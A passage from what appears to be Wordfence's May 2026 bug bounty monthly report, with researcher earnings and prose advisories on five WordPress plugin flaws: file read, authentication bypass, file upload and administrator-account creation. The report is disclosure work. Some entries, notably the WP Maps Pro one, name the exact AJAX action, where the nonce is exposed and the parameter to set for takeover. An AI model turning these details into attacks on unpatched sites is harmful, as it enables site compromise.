CHOIGYEONGMIN $6,761.00 2 $3,380.50
h0xilo $2,409.00 6 $401.50
Jonah Burgess (CryptoCat) $1,693.00 11 $153.91
lhking $1,503.00 2 $751.50

Researchers Promoted to the Next Tier

Congratulations to the following researchers who have unlocked the next tier! Tier promotions reflect sustained performance, precision, and professionalism in disclosure. Advancing unlocks higher caps, faster reviews, and more visibility. If you’re climbing the ranks, focus on high risk vulnerabilities, keep reports crisp, attach working PoCs, and include mitigation notes vendors can ship quickly.

Elite Researcher Tier (1337)

0 researchers advanced to elite status
😢
No Elite Researcher Promotions
No researchers advanced to elite (1337) status this month

Resourceful Researcher Tier

0 researchers advanced to resourceful status
😢
No Resourceful Researcher Promotions
No researchers advanced to resourceful status this month

📣 Current WordPress Bug Bounty Program Promotions

As part of our Bug Bounty Program, we regularly launch special promotions that boost bounty rewards and expand research scope. These initiatives are designed to reinforce our mission: delivering the highest quality vulnerability intelligence while encouraging researchers to focus on the discoveries that have the greatest positive impact on the WordPress ecosystem.

At the same time, we also look for promotions that give researchers opportunities to sharpen their skills, take on new challenges, and continue growing into the best of the best in WordPress security research. We often supplement these with educational material for researchers to learn and apply their skills during these promotions.

Below, you’ll find details on all currently active challenges—including timelines and a quick overview of each promotion.

❌ No promotions currently running.

New to promotions? Start by confirming the software and version range are in scope, validate exploitability on a clean test environment, and submit with clear steps, affected code paths, and impact. Promotions are perfect opportunities for both new and seasoned researchers to maximize earnings while driving faster patch adoption. And remember, you can always check what’s in-scope and out-of-scope by using the Wordfence bounty estimator.

🔦 Critical WordPress Software Vulnerability Highlights – May 2026

These case studies spotlight high-impact vulnerabilities uncovered through the program, why they matter, and how quickly protection rolled out. We share technical detail to help researchers learn, vendors harden code, and users understand why timely updates aren’t optional.

If you maintain a site, update to the patched versions listed and ensure Wordfence is active so you benefit from new firewall coverage as it ships. If you’re a researcher, use these write-ups to inform your hunt: patterns repeat, and past root causes often reappear in adjacent code.

🚨 1,000,000 WordPress Sites Affected by Arbitrary File Read and SQL Injection Vulnerabilities in Avada Builder WordPress Plugin

Avada Builder <= 3.15.2 – Authenticated (Subscriber+) Arbitrary File Read via ‘custom_svg’ Shortcode Parameter

Submitted by:
Rafie Muhammad
Bounty Awarded:
$3,386.00
Technical Details:

The Avada Builder plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.15.2 via the ‘fusion_get_svg_from_file’ function with the ‘custom_svg’ parameter of the ‘fusion_section_separator’ shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. The vulnerability was partially patched in version 3.15.2 and fully patched in version 3.15.3.

 

🚨 200,000 WordPress Sites at Risk from Critical Authentication Bypass Vulnerability in Burst Statistics Plugin

Burst Statistics 3.4.0 – 3.4.1.1 – Authentication Bypass to Admin Account Takeover

Submitted by:
Wordfence PRISM
Bounty Awarded:
N/A
Technical Details:

The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Authentication Bypass in versions 3.4.0 to 3.4.1.1. This is due to incorrect return-value handling in the `is_mainwp_authenticated()` function when validating application passwords from the Authorization header. This makes it possible for unauthenticated attackers, with knowledge of an administrator username, to impersonate that administrator for the duration of the request by supplying any random Basic Authentication password achieving privilege escalation.

 

🚨 Attackers Actively Exploiting Critical Vulnerability in Breeze Cache Plugin

Breeze Cache <= 2.4.4 – Unauthenticated Arbitrary File Upload via fetch_gravatar_from_remote

Submitted by:
bashu
Bounty Awarded:
$2,691.00
Technical Details:

The Breeze Cache plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ‘fetch_gravatar_from_remote’ function in all versions up to, and including, 2.4.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible. The vulnerability can only be exploited if “Host Files Locally – Gravatars” is enabled, which is disabled by default.

 

🚨 Authenticated Arbitrary File Upload Vulnerability Patched in Slider Revolution 7 WordPress Plugin

Slider Revolution 7.0.0 – 7.0.10 – Authenticated (Subscriber+) Arbitrary File Upload via _get_media_url

Submitted by:
h0xilo
Bounty Awarded:
$4,914.00
Technical Details:

The Slider Revolution plugin for WordPress is vulnerable to Arbitrary File Upload in versions 7.0.0 to 7.0.10 via the ‘_get_media_url’ and ‘_check_file_path’ function. This is due to insufficient file type validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The vulnerability was partially patched in version 7.0.10 and fully patched in version 7.0.11.

 

🚨 15,000 WordPress Sites Affected by Administrator Account Creation Vulnerability in WP Maps Pro WordPress Plugin

WP Maps Pro <= 6.1.0 – Unauthenticated Privilege Escalation via Administrator Account Creation to wpgmp_temp_access_ajax AJAX Action

Submitted by:
David Brown
Bounty Awarded:
$1,950.00
Technical Details:

The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.

 

📝 Conclusion

WordPress thrives when researchers, vendors, hosts, and site owners pull in the same direction. By funding high-quality research, coordinating responsible disclosure, and shipping firewall rules at scale, Wordfence turns findings into protection for millions of sites.

If you’re a researcher, join the program and submit your next report. If you’re a site owner, update early and often, and run Wordfence to stay ahead of emerging threats. If you’re a vendor, sign up for the vulnerability management portal to receive real-time notifications when new vulnerabilities are reported in your software. Together, we make the WordPress ecosystem safer.

The post Wordfence Bug Bounty Program Monthly Report – May 2026 appeared first on Wordfence.

]]>